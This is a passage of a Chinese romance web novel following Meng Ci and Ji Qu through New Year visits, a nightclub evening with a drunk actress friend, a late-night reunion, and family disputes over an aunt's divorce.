在室外坐了很久,孟慈的手心有些凉,季曲把覆在自己唇上的手拿下来,又把另一只一起握住放在手心搓搓。 “冷不冷?马上结束了。” “还好。”孟慈看着石桌上的红绸和笔,“你说我求点什么好?” 季曲低头,在捂着孟慈的手轻轻哈气,“你想要什么?健康爱情财富?” 世间所愿,不过这些。 可能佛祖菩萨也早就听得耳朵起茧。 抬头望着别人留下的红绸,孟慈在其中试图找到自己的愿望。 看着孟慈寻找的眼神,季曲心下了然。 “慈慈,爱情财富我都能给你,求个健康吧。” 孟慈回过头仰视季曲,他神色淡淡,却有令人信服的力量。 她眨眨眼,轻声回答:“好啊。” 写好晾干,孟慈拿着红绸看了看树冠,“听说挂的越高越灵验。” 季曲自然而然地接过,找小师傅要了梯子,帮孟慈把红绸挂到他力之所及的最顶端。 孟慈就站在一旁扶着梯子,不锈钢的材质有些冰手,季曲刚刚捂过来的热气顿时散了个无形。 光秃秃的枝丫上多了一条鲜红的绸缎,季曲快速地打结,没几下便挂好了。 太阳终于爬上远处的雪白山顶,投下不亚于绸缎颜色的红光,刚好从季曲的身上穿过,连发丝都被照亮,再落到孟慈的面庞。 下意识地偏头去躲刺眼的光线,再抬头时,季曲刚好低头看自己,在季曲赤诚目光的包围下,她在漆黑瞳孔中看到自己的身影。 爱情,财富,健康。 孟慈此时此刻恰好都拥有,她突然发觉自己没什么愿望了- “你什么时候回来?”季曲先送孟慈下山,司机已经在等待。 “明天吧。” “好。”季曲关上车门,站在路旁目送车子离开。 车子启动,把山间林草都摆脱在身后,孟慈没忍住回头望,季曲的身影已经隐没在山径小路中,黑黑的一个像素点。 像暂时隐藏生命的树干,又像坐落于山间数百年头的顽石。 说好初二回来,但孟慈失了约,亲戚们初一来家里看到孟慈说什么都要做东请孟慈吃饭,热情难拒。 不过还好,季曲也临时有事飞了趟国外,走的时候特地给孟慈报备,说自己尽快回来。 日子七转八转,马上要到元宵。 孟慈去公司上了一天班,原本答应方萤下班后去试一试楼下新开的日料,却临时接到何冉的电话,说想和自己见一面。 孟慈顿了顿。 方萤中午忙着做品牌背调,用三明治随便对付了一口,晚上怎么也得好好吃一点。 心里这么想着,孟慈问能不能推迟一会儿。 何冉倒是说没问题,挂了电话发来一串地址。 原木风的日式装修,座位都被隔档做的静谧,屏风上的梅花栩栩如生,淡淡的茶香溢了满室,和牛寿喜锅是这家的招牌。 浓白色的汤汁在砂锅内翻滚,服务生说可以吃了,孟慈先用木勺给方萤打了一碗,让她先暖暖胃。 店家还准备了当天处理的河豚,鲜美紧致,味道鲜亮。 方萤吃得开心脸颊都鼓起来。 孟慈心里惦记着何冉那边儿,只是照顾着方萤多吃点,自己只吃了几片鱼肉。 方萤慢慢也察觉到什么,对面的孟慈捧着陶瓷碗有一口没一口地喝汤,半天连一晚碗都没喝完。 她用公筷给孟慈夹了块鳗鱼寿司。 孟慈看到盘子里多出来的食物也是说了句谢谢,然后用筷子夹着吃了一半。 何冉最近忙的像陀螺,有时候一天飞三个城市都有,孟慈常在热搜榜上看到她,过年也互相发了祝福。 有的事,何冉不说,孟慈也没法问。 要是放在以前还能从安娜那儿听到点消息,但是偏偏安娜最近都在国外,经过时差颠倒根本找不到人。 压抑的日本邦乐自带悲凉,再配上孟慈冷淡如水的神色,方萤渐渐觉得碗里的和牛失去点香味。 趁着换曲间隙,方萤压着矮桌往前探身,打断沉思的孟慈,“有什么事吗?” “嗯?没什么。”孟慈从繁复的思绪里抽身,挑了个笑。 “换一碗吧,都凉了。”方萤看看孟慈碗里的汤,适时劝阻。 混杂其他食材的汤底变得浑浊,再没一开始鲜亮。 喝了两勺,孟慈把碗放下,用筷子夹了一块牛肉。 方萤看着心不在焉的孟慈,主动挑起话题,从公司项目到茶水间的八卦,说了个遍,但是孟慈眉梢上的那些忧愁却始终没消失。 “你是不是”方萤转念一想,还以为和季曲有关,“和季总吵架了?” “没有。”孟慈摇头否认。 “那你怎么不开心?”方萤再想不到其他可能,干脆摆烂,反正是下班时间,孟慈没有老板的威严,“这可是新年,十五都没过,就愁眉苦脸的。” 孟慈听到这儿也自觉有些共情过分,本就是两个人吃饭,自己又神思飞跑,方萤多少也会受到影响。 微甩甩头,把脑子里的那些杂念清空,孟慈调整好心态终于正式开始吃晚餐。 把方萤送回家已经快九点,看着方萤上了楼,孟慈才掏出手机给何冉发消息,说自己现在就过去,过了十几分钟,那边简简单单地回了句好。 用不着导航,孟慈轻车熟路地找到李港的会所,何冉早前发的定位就在那儿。 何冉安顿了应侍生在门口接孟慈,刚刚走到电梯口,就被熟人叫住。循着声音寻过去,看到邓姚倚在三楼的楼梯上,穿了身呢子套装。 孟慈笑笑:“新年好。” 邓姚沿着环形的欧式楼梯下来,笑着回道:“新年好,你来城天的局?” 今晚李港这儿就两个局,一个是李港自己的在三楼,一个是城天集团的在二楼。 “朋友在这儿。”孟慈在脑海中搜罗,试图找到城天的相关信息。 邓姚点点头:“李港他们喝得有点大,就不叫你过来玩了。” 孟慈扫了眼邓姚略显正式的打扮,自然清楚她的意思,“那你照顾好自己,别都喝醉了。” “你也是,需要司机就找我。”邓姚摇摇手机。 告别邓姚,孟慈找到包厢推门进去,何冉正好坐在不远处的沙发上,看到孟慈便起身过 来。 鼻尖的酒精味浓烈,孟慈在昏暗中看不清何冉的脸,“还好吗?” 何冉勾唇笑了,拉着孟慈走到人少的角落坐下,招手给孟慈要了杯苏打水。 “不好意思啊,这么还让你跑一趟。”何冉拿着自己的包,低头翻找。 孟慈说没事,同时打开手机给何冉照亮。 有了光源的辅助,何冉很快找到一只戒指盒,从硕大的包里掏出来,放到孟慈手里。 “帮我个忙,还给安翰。”何冉依旧保持笑容,和她的代言海报上笑得同样动人。 手心的丝绒方盒变得棘手,孟慈在空中捧了一会儿。 “我” “帮我一次吧孟慈,我不想再见他了。” 劲爆的舞曲充斥着整个房间,再配上人们的喧闹欢呼,没人注意到角落处的孟慈和何冉,与此时此地格格不入。 何冉眼神坚定,看来没有转圜的余地。 定了定神,孟慈利落地把盒子收到自己包里,端起冰凉的气泡水,抿了一口,“为什么找我还?” 明明何冉还有其他送还的人选。 与自己手里的不同,何冉端着的是度数高的洋酒,随着她仰脖的动作,深褐色酒液流入口腔,灼地她双眼都有些红。 “只有你能让他到此为止。”何冉依旧在笑,即使眼底毫无生气,“安家快破产了,只有季家愿意拉安家一把,你为了安娜,也会让安翰收下,而且” 何冉不知道举起酒杯向场中央的谁隔空碰杯,然后又是饮尽。 孟慈在何冉第三次续杯的时候伸手拦住:“喝太急了,会醉。” 何冉摇摇头说自己没事,让孟慈放心,把第三杯酒暂且搁在茶几上,靠在孟慈的肩膀继续说:“而且,你的面子,安翰一定会给。” 孟慈侧过脸对上何冉的眼,迷蒙间的一丝清醒尤其突兀。 安翰的联姻对象是季家的姑娘,季曲现如今在整个季家已经能做得了几分主,只要季曲点头,安家就有救。 而季曲,此时此刻正全身心地扑在孟慈身上。 孟慈读懂隐晦,突然想起安娜之前也非要自己给她撑场子,一个两个的,借的都是季曲的面子,她低声似叹气:“我没有什么面子。” 何冉摇头,从孟慈肩上直起身又拿起桌上的酒杯,“你这是当局者迷。” 和醉鬼是说不清道理的。 孟慈放弃争辩,伸手在何冉的脊背上顺顺,何冉被最后一口酒呛到止不住地咳。 戒指交代完,何冉没让孟慈走的意思,孟慈也不放心何冉这种喝法,想着能陪就多陪一会儿。 那边邓姚回了房间,在李港醒酒的间隙说了自己碰到孟慈的事。 李港略微意外,扭头找到秘书,“孟慈的公司和城天有合作?” 秘书想想摇头否认。 挥手叫来经理,李港问今天订出去的场子都来了点谁。 邓姚也在一旁听着。 李港从经理报的人名里找到一个可能性最大的,有些不确定地开口,“何冉和孟慈好像走得挺近?” 邓姚点头,补充道:“上次她还问了我何冉的事。” 李港了然,安顿经理时不时地派人进去看看,毕竟是季曲的人,还是在自己的场子,出了什么差错对谁都不好。 经理点头离开。 低头扫了眼表盘,时针刚刚过十,李港靠近邓姚安顿道:“十二点,要是孟慈还没出来,你提醒我进去一趟。” 邓姚记在心上,又说:“你也少喝点吧,这半天喝得眼都红了。” 李港捏着邓姚的下巴,手下的力度没收,愣是在白皙的皮肤上留下一个指印,“这么关心我?真喜欢我啊。” “我傻啊真喜欢你。”邓姚嗔了李港一眼,“喜欢你们这种人还不得让我脱层皮。” “什么叫我们这种人,那人孟慈怎么就敢?”李港有些不满意这个回答,手又摸上邓姚的腰,把人往怀里按。 邓姚也没硬来,顺着力度仰脖在李港唇角轻轻吻了一下。 “我不知道孟慈为什么敢,但是我知道,要是我不知好歹的真把心搁你身上,那何冉就是我的下场。” 李港面露不虞,低头在邓姚喋喋不休的嘴巴上咬了一口,直到邓姚疼得飙出泪花才放过她。 第38章 第38章不可弥合的观念差距 那边包厢里的何冉喝了又喝,到最后已经不甚清醒。 眼看着何冉已经醉得站不住脚,孟慈走上前夺过何冉的酒杯和人说不能再喝了。 “没事孟慈。”何冉倚靠在孟慈身上,“这都是自己人,喝多了也没事。” 确实是自己人,不然也不会非要拉着何冉喝交杯酒。 何冉的经纪人也在席间,她走到孟慈身边说真没事,都是惯熟的朋友,她会保证何冉的安全。 对上经纪人稍显醉意的双眼,孟慈更加不放心,刚想把何冉拉到旁边稍微歇歇,门口就进来了人。 “哟,叶总也在啊?”李港带着邓姚走进来,身后的服务生还端了瓶红酒。 席间最中央的人从沙发上缓缓起身,伸手与李港客套相握,“李总也在?” 李港敞怀一笑:“叶总可能不知道,这是我小时候开的地,您常在国外,不熟悉咱们这儿。” “刚听经理说您在这儿,我还有点生气,怎么不提前招呼,整得我慢待了您。”李港说着说着还真有些恼,“您当初和我合作的那两个项目,真是解了燃眉之急。” 城天主做房地产,项目群大多在南方,李港刚过去时,经人介绍和城天还搭伙做了几个地皮,因此还算有点交情。 “给您送瓶藏酒,您别见怪。”李港挥挥手,邓姚会意上前,把酒放在琥珀色茶几上。 叶总自然笑着应酬,太客气,太见外的话翻来覆去地说。 “下次,下次回上海咱们再聚聚,这两天我都得走走亲戚,实在没时间。”李港寒暄一阵,便准备抬脚离开。 稍显故意的,他在人群中看到孟慈,音调稍高地问:“孟慈也在这儿?” “嗯,和朋友一起。”孟慈突然怀疑李港这一通的目的,毕竟他刚刚“咦”的那声演技太过拙劣。 李港连忙招手:“上次季曲要的那瓶酒我给他整回来了,你正好给他带回去,和我要了好久,烦得要死。” 席间的人自然听过季曲的名字,霎时间孟慈感觉投注在自己身上的眼神都滚烫几分。 “这是?”有人疑问道。 李港“好心”解释:“季曲的女朋友,藏得老宝贝了。” 这下孟慈就清楚了,大张旗鼓地送了瓶六位数的酒合着是为了捞自己出去,孟慈不是不想走,只是何冉这儿…… 邓顺势揽住孟慈的胳膊,小声地说:“走吧。” “但是…”孟慈扭头还想找何冉说话,那边李港已经架住她的另一只胳膊,两个人像是“劫持”人质一样把孟慈架了出去。 李港出了包厢便松开了孟慈的胳膊,点了根烟才慢悠悠地说:“你回家的话这边我给你盯着点,不回家的话给你找个清净地待会儿,我那边的场子有点乱。” 孟慈不解,在哪儿待着不是待着。 邓姚小幅度地摇摇她的胳膊:“他们平常都在海外,玩的有些杂。” 孟慈侧头,读懂邓姚眼底的“潜台词”,心情更复杂。 “你肯定管不了,我只能保证你不受影响,要不然季曲回来不得杀了我。”李港说到这 儿又补充问:“哎,那小子是不快回来了?” 十二小时的时差,孟慈每天和季曲的联系大都错频,她随口说好像快了。 “等他回来咱们再吃个饭,我十五起来就走啦。”李港伸手揽过邓姚,“我先回我那摊了,一大帮人等着呢,我看你也别在这儿傻等了,赶紧回家睡觉。” 柔软的□□被硬朗的戒指盒硌得变形,孟慈看看紧闭的包厢门,价格昂贵的隔音海绵把内外彻底分成两个空间。 “对了。”李港走到一半突然又回头,“不用给安家那小子报信,他比你来得还早,但是连人都没见上。” 怎么就走到这个地步,孟慈有些费解,思考不通这其间的曲折。 那边经理已经过来帮孟慈带路。 还在犹豫着走不走,手机连续震动几次,孟慈解锁查看,是邓姚发来的消息。 【放心走吧,李港的场子出不了什么事。】 【安家那位一直没走。】 【都是成年人了。】 【再怎么样也轮不到你出头。】 就像邓姚说的,孟慈在停车场看到了安翰的车,车窗半开,飘出缕缕白烟,漆黑的车厢内有猩红一点在闪。 握着方向盘逼迫自己沉下心,孟慈同意邓姚的说法,再怎么样也轮不到自己出头。 街边的红灯笼要挂到正月结束才撤,映着整座城,带来无可比拟的喜庆年味。 等红灯的时候,孟慈看到高耸楼体上的巨幅广告,明媚动人的何冉不知道什么时候换成了清纯皎洁的邓姚。 按下车窗,孟慈用肉眼试图找到无数块电子屏幕同时运行拼接成人像的色块界限。 但是光线刺眼,冷空气铺满大半个车厢,绿灯亮了,后面的车按响喇叭。 孟慈扭回头,用被冷风吹得有些发僵的手指,关上了车窗。 - 孟慈回家收拾完躺下已经凌晨两点,折腾了一个晚上,睡意有些要消失的错觉。 躺在床上翻来覆去地入睡失败,孟慈强迫自己不去看时间。 在数不清地变换姿势后,孟慈认命般的走到冰箱前取了瓶起泡酒。 食指扣在易拉罐的拉环上,用力一拽,丰富的气泡溢出来顺着孟慈的手留在地上。 抽了厨房纸巾就着冰箱的光简单擦了擦,孟慈蹲着喝了大半瓶。 周身的温度开始升高,把剩余的酒放回冰箱,孟慈又拿了瓶水才踩着拖鞋慢悠悠地晃进卧室。 点燃床头的助眠香薰,孟慈把半张脸埋件柔软的枕头再次尝试入睡。 空气逐渐被甜腻分子侵染,钻进孟慈的鼻腔再到大脑。 但是孟慈的梦境却充满萧瑟。 半梦半醒间孟慈回到安翰向何冉求婚的那天那晚。 千万百玫瑰花在风雪的摧残下成片枯萎,鲜艳变成朽烂,偏偏在场众人都没察觉。 孟慈急忙叫季曲看,季曲也一脸无事发生的模样。 慌乱中孟慈对上何冉的脸,她没笑,直勾勾地盯着孟慈看,嘴一张一合地,不知道想说些什么。 孟慈摆开季曲牵着自己的手,抬脚往何冉那边走。 但是随着距离缩短,刮在孟慈身上的风雪就越来越大,甚至糊住孟慈的眼。 艰难地伸手阻挡,仅一步之遥,孟慈用手抹了把眼前的雪花,再望向何冉时,出现了不可思议的一幕,何冉的脸变成了自己的脸。 孟慈在漫天风雪中,和自己面对面。 无尽的寒意从脚底爬上身体,孟慈止不住地发颤,连牙关都开始哆嗦不停,周身的冷意无止境蔓延,仿佛要把血液和心跳都凝结。 不由自主地发出短促的一声喊,孟慈拼命睁开眼,大口大口地喘。 “怎么了?做噩梦了?”季曲出现在孟慈床前,手正隔着棉被在孟慈的后背上轻拍,像是在哄梦魇的小孩子。 梦与现实的间歇模糊,尤其在黑白交加的分界。 孟慈微张着嘴,依旧在大口呼吸,她睁着眼辨认季曲的真实与否。 过了几息,她伸手揪住季曲的衣领吻住对方还有些冰冷的唇瓣。 熟悉的心跳和味道把孟慈从虚无拉回现实。 季曲顺着孟慈的心意把她连同被子一起拥进怀中,同样滚烫的皮肤成为起效最快的安定剂。 “我刚从飞机上下来,还没洗澡。”季曲的呼吸乱了,他隔着衬衣握住孟慈的手,感觉她更混乱的呼吸。 孟慈睁开眼,摆脱棉被,跪坐在季曲腿上,“做梦出了一身冷汗,我也想洗。” 说完便继续吻季曲凸起的喉结。 脑子轰的一声鸣,一场盛大的邀请,季曲没有任何拒绝的理由。 捏住孟慈的后脖颈把人提高几分与自己持平,季曲贪婪地摄取孟慈的氧气。 夜灯把两人的影子投射在白墙,张牙舞爪,起起伏伏,还伴随着低声的苦泣与满足的叹喂,像只能行走于昏暗时带的怪物。 浴室里的灯久久不灭,水潺潺流淌,起雾的镜面,挂珠的墙壁,糜烂的情味,用力到泛白的指节,透过皮肤渗出的绯红。 对于彼此来说,都是灭顶的快/活。 孟慈再回到床上的时候连抬抬指头的力气都没有,还是季曲把她放到自己怀里,又用杯子给她喂了些温水,喉咙间的干涩感才减去不少。 季曲:“还喝吗?” 孟慈摇头。 自己把剩下的半杯水喝完,季曲又揽着人躺进被窝。 窗外逐渐有了亮色,孟慈埋在季曲的胸膛上,等待一波困意,季曲也轻拍孟慈的背。 “你怎么今天回来?”孟慈闭着眼问了一句,嗓音还是有些沙哑。 “早就和你说了今天回来,忘了?”季曲不太困,毕竟时差还没调整过来。 白天在公司的时候是收到了季曲要回来的信息,但是季曲说了太多次要回来的话,孟慈也就没当真。 等不到回答,季曲便当作孟慈默认,左手不怀好意地钻到孟慈腰间,挠她的痒痒肉。 孟慈察觉到不对,连忙解释。 “我没忘,但是你总说要回来,机票也一直改签,我本来还买了花要去接机,结果你放我鸽子,现在还在客厅的花瓶里插着呢,都枯了。” 原本就是吓吓孟慈,没想真的把她弄清醒,作息乱了的苦没必要两个人受,再加上孟慈一番话,季曲倒凭空增了几分愧疚。 “不是故意爽约,真的有事。”季曲捉住孟慈的手放在嘴上亲了亲,然后解释自己消失的理由。 季曲问孟慈记不记得自己那位移居海外的亲姑姑,孟慈想了想,说知道,只是没见过。 “以后有机会见了。”季曲见孟慈对季荣宝有印象,便省去一些冗长的关系梳理,“她要离婚,老爷子不同意,结果她偷偷领了证,孩子也不要了,扔给前夫,自己跑到澳洲度假,我这次就是被支使去抓人回来。” 孟慈听着多了几分兴趣:“当时姑姑不是非那个人不可。” 没法直接称呼季荣宝的大名,称长辈为“你”也不太合适,孟慈就捡了“姑姑”这个称呼。 本来再普通不过的事,季曲却偏偏要逗孟慈着急,故意说:“这么快就改口啦?” 孟慈埋在被子里的手寻找到季曲腰间的软肉精准地拧了一把,惹得季曲呼痛。 “好了好了不逗你了。”季曲把孟慈的手从被子里捉出来,才逃过一劫。 “继续。”孟慈换了个姿势,干脆趴在季曲胸膛上,双手一叠放在下巴处支着头听故事。 季曲见状也伸出长臂捞了一只软枕垫在脑后,顺便把孟慈往上提了一下,用她的毛绒玩偶代替她叠在下巴处的双手。 季荣宝当初在国外读艺术,还没毕业就和一位华裔坠入爱河不可自拔,无视季亮鸿的命令,非要一毕业就和人结婚。 季家当然不肯,偏偏季荣宝从小被宠着长大,被爱迷了眼什么都不顾。 毕业后的第二天就拉着那位男子的手回了季家,在一众人前拍出孕检报告,当场就气白了季亮鸿的脸。 季曲那会儿还在念高中,放了学季澈在门口接他,二话不说一脚 油门就踩到了医院。 季亮鸿躺在床上气到不说一句话,季荣宝在隔壁的病房说敢动她的孩子她就从楼上跳下去。 华婉和小姑子关系处的还算不错,便陪在旁边苦口婆心地劝,几天下来一点用都没有。 比起绝食抗议的季荣宝,反倒是季亮鸿身体好的更快。 人老了觉少,季亮鸿每日不到五点就醒了,窗外还是黑色。 他习惯性地走到季荣宝的病房门口悄悄地看了几眼,活蹦乱跳的小女儿几天下来就瘦地脱了相。 季曲从家里送早点去医院,本来这是华婉的活。 但是季曲看着华婉逐渐变大的黑眼圈有些心疼,便让华婉再休息会儿,自己跑这一趟。 VIP病房里空空如也,季荣宝还在睡着,季曲把早点放在茶几上,正想去护士站问季亮鸿跑哪去了,却刚好透过窗子看到楼下花园里静坐着的爷爷。 晨间湿冷,尤其像季亮鸿这种年轻时候受过伤的身体,更是扛不住。 季曲从病房里拿了件外套下楼,把外套披在季亮鸿肩膀,叫了声爷爷。 季亮鸿没回头,依旧背对着季曲,看着湖面的鱼群发呆。 过了一会儿,季曲又出声喊人,季亮鸿这才答应,然后慢慢地从木椅上起身,拢了拢身上的外套,踩着沉稳的步子往楼里走。 季曲在季亮鸿路过自己的时候,突然发现爷爷下巴上冒出的胡茬竟然是白色的。 到最后季荣宝如愿以偿地和她的爱人结了婚,次年生在一对双胞胎女儿。 她的老公也算争气,在艺术圈混了些名堂出来,不枉季荣宝的孤注一掷。 “这不是挺好的?”孟慈听到这儿没忍住打断。 “是挺好的。”季曲摸摸孟慈柔软的发顶,“所以老爷子不同意她离婚。” 孟慈猜测道:“原则性问题?” 季曲摇头:“没有,我还见了我的前姑父一面,他很爱姑姑。” 那问题就是出在季荣宝身上。 季曲继续说:“姑姑爱上了别人,所以要离婚。” “然后和那个人结婚?”孟慈听懂了些。 “不结婚。”季曲给出了新的恋人关系,“姑姑说只是恋爱关系,她不会再结婚。” “我不懂。”孟慈提出疑问,以季家的权力财富,没必要把季荣宝与无爱的婚姻捆绑,何必干预季荣宝的婚姻问题。 “老爷子怕以后没人照顾姑姑。”季曲叹了口气。 这话更有意思,只要季家不倒,季荣宝怎可能缺人照顾,除非…… 孟慈突然有些严肃,季曲伸手在她的额头敲了一下,“别瞎想。” “我没有。”孟慈被突如其来的痛意整的皱皱巴巴。 季曲没说话,孟慈刚刚心里想的什么,他和明镜似得了然。 “婚姻和家庭不是单独的爱,她该有责任和担当,对她深爱过的爱人,对她的一双女儿,这么抛下一切为了另一份飘忽不定的爱私奔,不是一个成年人应该做的事。”季曲缓缓道。 孟慈不同意:“爱就在一起,不爱就分开,没有婚姻不代表她以后不可以对前夫负责,没有家庭更不影响她是两个孩子的妈妈,责任和爱不能混为一谈。” “没有婚姻束缚她怎么可能对没有任何法律关系的人负责,没有家庭怎么可能扮演好母亲的角色,她甚至都没要两个女儿的抚养权,因为她知道在抚养孩子的方面,她前夫比她更上心,更贴心。” “爱都消失了的婚姻和家庭还有什么存在的意义?” 两人的对话几乎是针尖对麦芒,明明是小别胜新婚的重逢时刻,还是缱绻缠绵过后的温存时分。 季曲看着孟慈气鼓鼓的脸突然笑了。 和她争个什么高低对错,不过他们两个人过好自己的生活罢了。 这么想着,他伸出手指戳戳孟慈鼓起的脸颊,突如其来的动作像是尖锐物戳破气球,涨到顶点的气满满消失,就像孟慈瘪下去的脸一样。 孟慈也反应过来自己有些急,小小地哼了一声,扯开玩偶侧脸躺在季曲胸膛上,随着他的呼吸而起伏。 孟慈先开口:“你们一起回来的?” “嗯,送她回家之后我就过来找你了。”季曲看着孟慈的头顶,上面仿佛飘着一个低气压的漩涡。 想了想,季曲又说:“本来姑姑还是死活都不回来,我实在太想你了,就说再不回家别说你有没有好日子过,我女朋友都要和我分手了。” 孟慈撇了季曲一眼:“说谎倒是一套一套的。” 季曲笑:“我可没说谎,毕竟女朋友这两天都不怎么回我消息,我发十条才能换到一条回复,还有可能是表情包。” 身上的人没动静,季曲一个翻身,把孟慈压回床面,两个人的重量相叠令床垫下陷。 孟慈的头发向周围铺散,像朵盛开的花。 季曲小声问:“生气啦?” “没有。”孟慈早就知道自己和季曲存在不可弥合的观念差距,自然不会为了一两句的争辩而生气。 “我是说我临时跑到国外,没常常陪着你这件事。”季曲的手撑在孟慈头侧,亲昵地用鼻尖蹭孟慈的脸。 “……没有。” 这次慢了几秒,孟慈的回答,比刚刚慢了。 季曲被这种被孟慈需要的满足感而取悦:“对不起,我下次尽量不离开这么久,季澈不好出国,我爸妈最近忙着走亲戚,只能我去。” “哦。”孟慈突然感受到某些情绪因为季曲而失控,她后知后觉地意识到自己真的为了季曲的消失缺位而低沉。 两种截然不同的情绪在两人的肢体间滋长,试图吞噬异己。 察觉到被对方需要和因对方失控,都是爱的副作用。 第39章 第39章真是像极了神仙眷侣 李港正月十五起来就要离开的消息还没等孟慈传递给季曲,季曲就先知道了,并且提前和孟慈约好了和李港吃饭的时间。 因为季荣宝的婚姻问题,季曲少不得每天往老爷子那儿跑着看看。 儿女债,一辈子都还不完。 好不容易等到季曲抽出点空闲,孟慈才说了何冉的事,并且把戒指盒拿了出来。 季曲想都没想,直接开车带着孟慈到了安翰公司楼下。 停好车,季曲问孟慈想亲手给还是他代为转交。 何冉应该只是想借自己手,借季曲的势,压制安翰的心思,因此自己去不去都没什么差别。 孟慈选择在车里等季曲。 从离开到回来统共不过十分钟,还包括季曲坐电梯的时间,看着驾驶位上的人,孟慈还是没忍住问:“你们说什么了?” 季曲目不斜视地看着前路,淡淡道:“没什么,我把东西放他桌子上就走了。” “他没说什么?” “没说什么。” 碰上红灯,季曲侧过头看孟慈,“你该不会以为安翰会变成什么颓废模样吧?” 孟慈直直地看着前方的车尾巴,没说话。 “少看点偶像剧。”季曲笑笑,前车动了,季曲也扭正头继续驾驶,“还有你那点小说。” 车内的音乐流淌,孟慈打开手机断掉蓝牙,光明正大又再幼稚不过地反击,“那你也别听我的歌。” 原本季曲约了家法国餐厅,结果快到地儿的时候突然接到华婉的消息,说管家来电话说季亮鸿和季荣宝又吵了起来。 季澈出差,季荣涛和华婉又在郊外的庄园应酬,只能给季曲打电话。 挂了电话,季曲征求了孟慈的同意,利落地调转车头,还好餐厅离季亮鸿的老宅不到十公里路程。 “谢谢。”季曲捏了捏孟慈放在腿上的手。 孟慈简单笑笑,毕竟这情况摆在这儿也容不得自己拒绝。 一直到进了季亮鸿的院子,孟慈才停住脚步,施力把自己的手从季曲手里扯出来,说:“你进去吧,我在外面等你。” 季曲点点头,给孟慈指了指旁边的亭子,让她坐一会儿,便快步流星 地进了屋。 这是孟慈第一次来季亮鸿的院子。 标准的京式建筑,红瓦白墙的房子外观有些古旧,但却掩不住贵气。 折了几弯的红木回廊,风格迥异的亭子,一汪池水,几棵老树,构成室外景观。 再配上经历岁月蹉跎的古树,孟慈对高门大户有了新的认识。 孟慈坐在亭间看到水池里养的锦鲤。 其中一条白色最显眼,这应该就是季曲年前废了九牛二虎之力才从东北某个小县城的农家乐买到的那条。 即使跋山涉海,却也好似无异。 此刻跟随着池子里的其他锦鲤共同畅游,看起来好不自在。 没一会儿,就有人从房子里出来,孟慈抬头去看,刚好和季荣宝对了个正着。 孟慈站起身微微颔首,算是打过招呼,季荣宝也点了点头,脚步没停地往门外走。 望着季荣宝离去的背影,一头乌黑柔顺的长发,杏眼薄唇,脸上没什么棱角,全是温柔曲线。 孟慈根本没法把面前的人与季曲嘴里提到的人相联系。 可能是自己的眼神太过直接,季荣宝突然停住脚步,转身回头来到孟慈面前。 她在自己的包里掏掏,捏出一沓现金。 季荣宝把钱塞到孟慈手里:“没想到在这儿碰到你,我身上也没个红包,你别见外。” 被突如其来的动作搞得一愣,孟慈摆手拒绝:“您太客气了,我……” “大过年的,长辈给的压岁钱不收可不礼貌。” “但是我也没给您拜年。”孟慈眨眨眼,面上多了些尴尬。 季荣宝:“那你现在拜。” 孟慈愣了愣,一时间没开口。 季荣宝看了眼房子,又急忙说:“赶紧,和季曲一样叫姑姑就行,我爸一会儿追出来了。” 孟慈在季荣宝的催促中迟疑开口:“……姑姑新年好,祝您身体健康,万事如意。” “好孩子乖,下次请你吃饭。”把手里的钱往孟慈怀里一塞,季荣宝逃难似的跑出了院子。 冬日寒风中,只剩孟慈一个人留在原地。 安顿好季亮鸿出门,季曲就看到孟慈一个人握着一沓钱站在亭子里望着门口发呆。 季曲走过去把孟慈有些掉落的围巾重新围好,问:“姑姑给的?” 孟慈点头:“她让我拜年。” “拿着吧。”季曲搓热手心贴在孟慈的脸颊。 孟慈把钱塞到季曲的外套口袋,她可不要这烫手山芋。 “走吧,吃鹅肝去。”季曲没阻止孟慈,她想怎么做都行。 看看手机,孟慈说已经晚了一个小时,过了预约时间,吃不到了。 季曲牵住孟慈的手放进自己口袋:“小瞧你男朋友了不是,照样吃。” 外套的口袋很大,季曲的手心很暖。 孟慈把脸埋进围巾,就像今晚的月,藏了一半在云里- 一直到正月十四,季曲安排的欢送宴正式启动,李港被迎在上座,当事人一脸的受宠若惊。 “你看中我什么了?”李港哆哆嗦嗦地伸出手腕,“该不会是我新买的全球限量二十支的周年纪念表吧?” “老子稀罕。”季曲看也不看地拍开李港,指了指桌上的酒,“专门去我家老爷子仓库里偷的。” 李港被打了也没恼,反倒笑嘻嘻地说酒可真是好货,一看就有年头了,原本应该纯澈的酒液微微发黄,这酒估计能醉死人。 季曲解开衬衫由上而下的两颗扣子,露出锁骨,“今天舍命陪你一回。” “哎你们可都听到了啊!”李港连忙冲众人取证,“季曲自己说的我可没逼他。” “弟妹你今天也不能掺和。”李港笑着对上季曲身边的孟慈。 孟慈自然不会扫人兴致,毕竟季曲刚刚在车上已经提前吃了解酒药,看着给自己布菜的季曲笑笑:“你们喝多少我都不说一句话。” 李港双手一拍:“爽快!” 做东的主家和受邀的客家都这么说,其他人自然也嚷着要不醉不归。 还没过凌晨,男人们已经喝得上了头。 孟慈说到做到,和邓姚在一旁躲清闲。 台上的歌手一首接着一首地唱,就这么唱了大半夜,孟慈看着歌手面容姣好的脸,笑了一下。 “笑什么?”邓姚磕着瓜子,看孟慈突然笑了起来。 “没什么。”孟慈收回目光。 邓姚却没放过:“怎么着,又想英雄救美?” 孟慈也抓了把瓜子:“谁是英雄谁是美?” 看着台上的男歌手,邓姚也笑了,用眼神给孟慈指了指场中的一位,意味深长道:“你可别坏人好事。” 孟慈跟着看过去:“他?” “对啊。” “他是男的。” 邓姚一副见怪不怪的表情,孟慈瞬间懂了。 场中的那位硬朗高大,台上的那位温柔纤细。 “挺配。”孟慈突然蹦了一句,惹得邓姚笑弯了眼。 没理会邓姚,孟慈嗑瓜子嗑的口干,拿起香槟抿了一口。 邓姚笑够了,这才想起什么,“对了,上次你回家没多久她就走了。” 孟慈自然知道话里的“她”是谁,放下水杯又取了一盘果干,说了句谢谢。 今晚结束,李港就要离开,孟慈看着少有放松的季曲,也开始有些惋惜。 这样肆意的季曲,以后也只能逢年过节的再见一见了。 “怎么打算?”孟慈咬了口草莓干,酸甜适中。 邓姚拿了块黄桃的,太过于甜,咬了一个小丁便被放下,她喝了口温水才说:“就这样呗,反正我的工作不定性,天南海北的四处跑。” “继续啊?” “对啊,对我又没什么坏处。” 邓姚满脸坦然,倒是叫孟慈语塞。 邓姚察觉到这一点:“怎么着?以为我会失恋啊?” 还真是抱着这个心态来的,结果没想到当事人反而不当回事,孟慈很快调整好,“你不是不爱他?失什么恋?” “谁说的?”邓姚突然转头,看着孟慈。 察觉到邓姚的目光,孟慈缓缓侧目,齿间的瓜子嗑开一半,她在邓姚的脸上看到认真严肃。 才不过一个月不到。 孟慈意外道:“认真的?” 邓姚依旧坦荡:“不像吗?” 